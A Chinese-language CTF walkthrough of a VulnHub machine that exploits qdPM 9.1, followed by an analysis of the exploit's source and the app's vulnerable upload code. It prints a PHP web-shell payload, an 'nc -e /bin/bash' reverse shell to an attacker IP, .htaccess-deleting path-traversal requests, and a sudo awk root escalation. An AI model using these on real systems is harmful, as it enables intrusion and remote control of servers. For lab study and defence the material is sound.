每日一攻防是由全球安全研究员 VulnHub 提供的日常实战综合环境。大余安全将按照顺序选择 VulnHub 提供的渗透测试靶场,为网络安全爱好者、渗透测试从业者和安全研究员提供每日综合性的攻击和防御挑战。该项目的目标是促进参与者的技能提升,使他们更好地理解实际攻击和防御场景。
每日一攻防特色:
环境攻破:以简单直白的方式攻破每日选择的渗透测试环境。
代码审计:进行攻防分析,结合代码审计,深入挖掘漏洞和强化防御。
作者:大余
公司IP太多了,用别的工具扫描:railgun
发现ip地址:192.168.3.78,需要工具github搜下就能找到。
qdPM | Login登陆口。
qdPM 9.1未授权漏洞!!
查找https://www.exploit-db.com/搜索下qdpm9.1是否存在可利用的exp,发现存在未授权访问漏洞,可以直接读取/core/config/databases.yml文件,尝试读取下文件信息,获取到数据库账户名和密码:
提示未开启数据库服务!!
目录枚举发现:
http://192.168.3.78/secret/
发现在/secret目录下存在一张图片:
steghide info doubletrouble.jpg
发现是存在隐藏信息的,但是缺少密码无法获取出来!
stegseek提取:
stegseek --crack doubletrouble.jpg /root/Desktop/rockyou.txt dayu.txt
秒提取!!获得信息。
获得系统登陆的账号和密码:
[email protected]
otis666
后使用qdpm9.1的后门漏洞:
还是挺多可以利用的:用最新的
python 50944.py -url http://192.168.3.78/ -u [email protected] -p otis666
上传了一个后门程序到网站,可以用来操作远程命令执行。现在还需要反弹Shell:
http://192.168.3.78/uploads/users/325292-backdoor.php?cmd=nc -e /bin/bash 192.168.3.10 5566
python -c 'import pty; pty.spawn("/bin/bash")'
成功拿到反弹shell!
git提示:
sudo awk 'BEGIN {system("/bin/sh")}'
这里意思是不存在最终答案,还有一个项目环境!!
nc 192.168.3.10 8888 < doubletrouble.ova
nc -lvvp 8888 > doubletrouble.ova
接下来大家去操作下,思路是sql注入拿到数据库,数据库拿到账号密码获取ssh登录,最后/usr/lib/eject/dmcrypt-get-device提权即可。
exp分析:exp的main()函数,在登录后获取一系列参数后调用了req()函数,因此主要分析exp的代码中的req函数
def req(
userid,
username,
csrftoken_,
EMAIL,
HOSTNAME,
):
request_1 = multifrm(
userid,
username,
csrftoken_,
EMAIL,
HOSTNAME,
'.htaccess',
)
new = session_requests.post(HOSTNAME + 'index.php/myAccount/update'
, files=request_1)
request_2 = multifrm(
userid,
username,
csrftoken_,
EMAIL,
HOSTNAME,
'../.htaccess',
)
new1 = session_requests.post(HOSTNAME + 'index.php/myAccount/update'
, files=request_2)
request_3 = {
'sf_method': (None, 'put'),
'users[id]': (None, userid[-1]),
'users[photo_preview]': (None, ''),
'users[_csrf_token]': (None, csrftoken_[-1]),
'users[name]': (None, username[-1]),
'users[new_password]': (None, ''),
'users[email]': (None, EMAIL),
'extra_fields[9]': (None, ''),
'users[photo]': ('backdoor.php',
'<?php if(isset($_REQUEST[\'cmd\'])){ echo "<pre>"; $cmd = ($_REQUEST[\'cmd\']); echo $cmd." "; system($cmd); echo "</pre>"; die; }?>'
, 'application/octet-stream'),
}
cprint(request_3, 'red')
upload_req = session_requests.post(HOSTNAME
+ 'index.php/myAccount/update', files=request_3)
在这个函数中,可以看到执行了三个请求,而在前两个请求中都调用了multifrm()函数:
def multifrm(
userid,
username,
csrftoken_,
EMAIL,
HOSTNAME,
uservar,
):
request_1 = {
'sf_method': (None, 'put'),
'users[id]': (None, userid[-1]),
'users[photo_preview]': (None, uservar),
'users[_csrf_token]': (None, csrftoken_[-1]),
'users[name]': (None, username[-1]),
'users[new_password]': (None, ''),
'users[email]': (None, EMAIL),
'extra_fields[9]': (None, ''),
'users[remove_photo]': (None, '1'),
}
cprint(request_1, 'green')
return request_1
结合req()函数的请求可以发现,request_1请求的users[photo_preview]参数为.htaccess,request_2请求的users[photo_preview]参数为../.htaccess
仔细观察这两个请求,可以发现这两个请求都访问了index.php/myAccount/update页面,也就是用户信息更改页面。
这段代码的主要目的是利用qdPM项目中的一个路径遍历漏洞,具体来说,在上传用户头像的功能中存在的路径遍历漏洞。攻击者通过利用这个漏洞,上传包含恶意 PHP 代码的文件,实现远程代码执行!
if($form['remove_photo']->getValue()==1 && strlen($form['photo_preview']->getValue())>0)
{
unlink(sfConfig::get('sf_upload_dir') . '/users/' . $form['photo_preview']->getValue());
$form->setFieldValue('photo','');
}
在这个代码段中241行处,如果$form['remove_photo']->getValue()返回1且$form['photo_preview']->getValue()不为空,就会执行unlink()函数删除用户头像文件。这是一个潜在的风险,因为用户可能在提交表单时篡改这些值,导致删除任意文件。
而进行到这一步的条件是remove_photo的值为1,并且photo_preview值的长度要大于0,从上面的分析可以看出,multifrm()函数已经默认每个请求的remove_photo值为1,那么在request_1和request_2中,这两个条件都满足。也就是说,在request_1中,users目录下的.htaccess文件会被删除。在request_2中,利用..绕过,删除了根目录下.htaccess文件。
在 core/apps/qdPM/modules/users/actions/actions.class.php文件的第217-237行,对上传的图片进行了处理,也就是request_3的users_photo参数的内容会经过这个逻辑。
可操作写入php文件的点就是在224行和225行的位置。
move_uploaded_file()函数的作用是将上传的文件移动到指定的位置,那么在这里的意思是将用户上传的图片移动到users目录中。因此,exp中的backdoor.php可以上传到users目录中,而backdoor.php的名称可以通过再次请求index.php/myAccount,名称会在photo_preview参数中显示,或者直接访问uploads/users,该站还存在目录遍历漏洞,直接获取后门上传后的文件名。
通过每日一攻防,我致力于共同深探网络安全的奥秘,助力每位参与者成为网络安全领域的技术高手。立即加入大余安全,共同迎接每日新的挑战!
扫描下方二维码添加小助手,进群和大余老师一起技术探讨交流吧!
欢迎大家进入大余安全回忆录帮会,每周二&五定期更新《安全开发》、《渗透测试》系列文章,帮助大家从0基础到入门。